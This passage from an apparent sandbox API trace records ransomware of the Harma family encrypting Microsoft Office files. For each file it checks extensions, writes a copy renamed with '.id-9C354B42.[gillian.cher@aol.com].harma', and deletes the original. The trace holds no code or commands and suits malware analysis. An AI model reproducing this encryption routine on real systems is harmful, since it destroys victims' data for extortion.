Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.967] lstrlenW (lpString=".doc") returned 4 [0151.967] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString=".docx") returned 5 [0151.967] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1 [0151.967] lstrlenW (lpString=".pdf") returned 4 [0151.967] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString=".xls") returned 4 [0151.967] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0151.967] lstrlenW (lpString=".xlsx") returned 5 [0151.967] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1 [0151.967] lstrlenW (lpString=".ppt") returned 4 [0151.967] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.967] lstrlenW (lpString=".zip") returned 4 [0151.967] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0151.967] lstrlenW (lpString=".rar") returned 4 [0151.967] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString=".bz2") returned 4 [0151.967] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString=".7z") returned 3 [0151.967] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0151.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.967] lstrlenW (lpString=".dbf") returned 4 [0151.967] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0151.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.967] lstrlenW (lpString=".1cd") returned 4 [0151.967] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0151.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD") returned 57 [0151.968] lstrlenW (lpString=".jpg") returned 4 [0151.968] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0151.968] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0151.968] lstrlenW (lpString="GANTT.VSL") returned 9 [0151.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0152.284] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=320880) returned 1 [0152.284] CloseHandle (hObject=0x384) returned 1 [0152.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 0x20 [0152.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.463] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.463] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0152.464] GetLastError () returned 0x0 [0152.464] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x4e570, lpOverlapped=0x0) returned 1 [0152.536] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x4e580, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x4e580, lpOverlapped=0x0) returned 1 [0152.543] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.544] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0152.544] SetEndOfFile (hFile=0x34c) returned 1 [0152.544] CloseHandle (hObject=0x34c) returned 1 [0152.544] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.544] SetEndOfFile (hFile=0x208) returned 1 [0152.555] CloseHandle (hObject=0x208) returned 1 [0152.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl")) returned 1 [0152.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.557] lstrlenW (lpString=".doc") returned 4 [0152.557] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0152.557] lstrlenW (lpString=".docx") returned 5 [0152.557] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0152.557] lstrlenW (lpString=".pdf") returned 4 [0152.557] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0152.557] lstrlenW (lpString=".xls") returned 4 [0152.557] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0152.558] lstrlenW (lpString=".xlsx") returned 5 [0152.558] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0152.558] lstrlenW (lpString=".ppt") returned 4 [0152.558] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.558] lstrlenW (lpString=".zip") returned 4 [0152.558] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0152.558] lstrlenW (lpString=".rar") returned 4 [0152.558] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString=".bz2") returned 4 [0152.558] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString=".7z") returned 3 [0152.558] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.558] lstrlenW (lpString=".dbf") returned 4 [0152.558] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.558] lstrlenW (lpString=".1cd") returned 4 [0152.558] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.558] lstrlenW (lpString=".jpg") returned 4 [0152.558] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.559] lstrlenW (lpString=".doc") returned 4 [0152.559] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString=".docx") returned 5 [0152.559] lstrcmpiW (lpString1=".docx", lpString2="T.VSL") returned -1 [0152.559] lstrlenW (lpString=".pdf") returned 4 [0152.559] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString=".xls") returned 4 [0152.559] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0152.559] lstrlenW (lpString=".xlsx") returned 5 [0152.559] lstrcmpiW (lpString1=".xlsx", lpString2="T.VSL") returned -1 [0152.559] lstrlenW (lpString=".ppt") returned 4 [0152.559] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.559] lstrlenW (lpString=".zip") returned 4 [0152.559] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0152.559] lstrlenW (lpString=".rar") returned 4 [0152.559] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString=".bz2") returned 4 [0152.559] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString=".7z") returned 3 [0152.559] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.559] lstrlenW (lpString=".dbf") returned 4 [0152.559] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0152.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.560] lstrlenW (lpString=".1cd") returned 4 [0152.560] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0152.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL") returned 57 [0152.560] lstrlenW (lpString=".jpg") returned 4 [0152.560] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0152.560] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0152.560] lstrlenW (lpString="GRAPH_K_COL.HXK") returned 15 [0152.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.561] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0152.561] CloseHandle (hObject=0x208) returned 1 [0152.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0152.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.562] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.562] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0152.563] GetLastError () returned 0x0 [0152.563] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0152.645] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0152.646] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.647] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0152.647] SetEndOfFile (hFile=0x34c) returned 1 [0152.647] CloseHandle (hObject=0x34c) returned 1 [0152.647] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.647] SetEndOfFile (hFile=0x208) returned 1 [0152.669] CloseHandle (hObject=0x208) returned 1 [0152.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 1 [0152.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.780] lstrlenW (lpString=".doc") returned 4 [0152.780] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0152.780] lstrlenW (lpString=".docx") returned 5 [0152.780] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0152.780] lstrlenW (lpString=".pdf") returned 4 [0152.780] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0152.780] lstrlenW (lpString=".xls") returned 4 [0152.780] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0152.780] lstrlenW (lpString=".xlsx") returned 5 [0152.780] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0152.780] lstrlenW (lpString=".ppt") returned 4 [0152.780] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0152.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.780] lstrlenW (lpString=".zip") returned 4 [0152.780] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0152.780] lstrlenW (lpString=".rar") returned 4 [0152.780] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0152.780] lstrlenW (lpString=".bz2") returned 4 [0152.780] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0152.781] lstrlenW (lpString=".7z") returned 3 [0152.781] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.781] lstrlenW (lpString=".dbf") returned 4 [0152.781] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.781] lstrlenW (lpString=".1cd") returned 4 [0152.781] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.781] lstrlenW (lpString=".jpg") returned 4 [0152.781] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.781] lstrlenW (lpString=".doc") returned 4 [0152.781] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0152.781] lstrlenW (lpString=".docx") returned 5 [0152.781] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0152.781] lstrlenW (lpString=".pdf") returned 4 [0152.781] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0152.781] lstrlenW (lpString=".xls") returned 4 [0152.781] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0152.781] lstrlenW (lpString=".xlsx") returned 5 [0152.781] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0152.781] lstrlenW (lpString=".ppt") returned 4 [0152.782] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0152.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.782] lstrlenW (lpString=".zip") returned 4 [0152.782] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0152.782] lstrlenW (lpString=".rar") returned 4 [0152.782] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0152.782] lstrlenW (lpString=".bz2") returned 4 [0152.782] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0152.782] lstrlenW (lpString=".7z") returned 3 [0152.782] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0152.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.782] lstrlenW (lpString=".dbf") returned 4 [0152.782] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0152.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.782] lstrlenW (lpString=".1cd") returned 4 [0152.782] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0152.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK") returned 63 [0152.782] lstrlenW (lpString=".jpg") returned 4 [0152.782] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0152.782] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0152.783] lstrlenW (lpString="GRINTL32.DLL.IDX_DLL") returned 20 [0152.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.817] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=37760) returned 1 [0152.817] CloseHandle (hObject=0x208) returned 1 [0152.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0152.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0152.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0152.829] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.829] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0152.831] GetLastError () returned 0x0 [0152.831] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x9380, lpOverlapped=0x0) returned 1 [0152.897] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x9390, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x9390, lpOverlapped=0x0) returned 1 [0152.900] ReadFile (in: hFile=0x208, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0152.900] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0152.900] SetEndOfFile (hFile=0x328) returned 1 [0152.900] CloseHandle (hObject=0x328) returned 1 [0152.900] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0152.900] SetEndOfFile (hFile=0x208) returned 1 [0152.904] CloseHandle (hObject=0x208) returned 1 [0152.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0152.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 1 [0152.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.906] lstrlenW (lpString=".doc") returned 4 [0152.906] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0152.906] lstrlenW (lpString=".docx") returned 5 [0152.906] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0152.906] lstrlenW (lpString=".pdf") returned 4 [0152.906] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0152.906] lstrlenW (lpString=".xls") returned 4 [0152.906] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0152.906] lstrlenW (lpString=".xlsx") returned 5 [0152.906] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0152.906] lstrlenW (lpString=".ppt") returned 4 [0152.907] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString=".zip") returned 4 [0152.907] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString=".rar") returned 4 [0152.907] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString=".bz2") returned 4 [0152.907] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString=".7z") returned 3 [0152.907] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString=".dbf") returned 4 [0152.907] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString=".1cd") returned 4 [0152.907] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString=".jpg") returned 4 [0152.907] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.907] lstrlenW (lpString=".doc") returned 4 [0152.907] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0152.907] lstrlenW (lpString=".docx") returned 5 [0152.907] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0152.907] lstrlenW (lpString=".pdf") returned 4 [0152.908] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString=".xls") returned 4 [0152.908] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString=".xlsx") returned 5 [0152.908] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0152.908] lstrlenW (lpString=".ppt") returned 4 [0152.908] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL") returned 68 [0152.908] lstrlenW (lpString=".zip") returned 4 [0152.908] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0152.908] lstrlenW (lpString=".rar") returned 4 [0152.908] lstrcmpiW 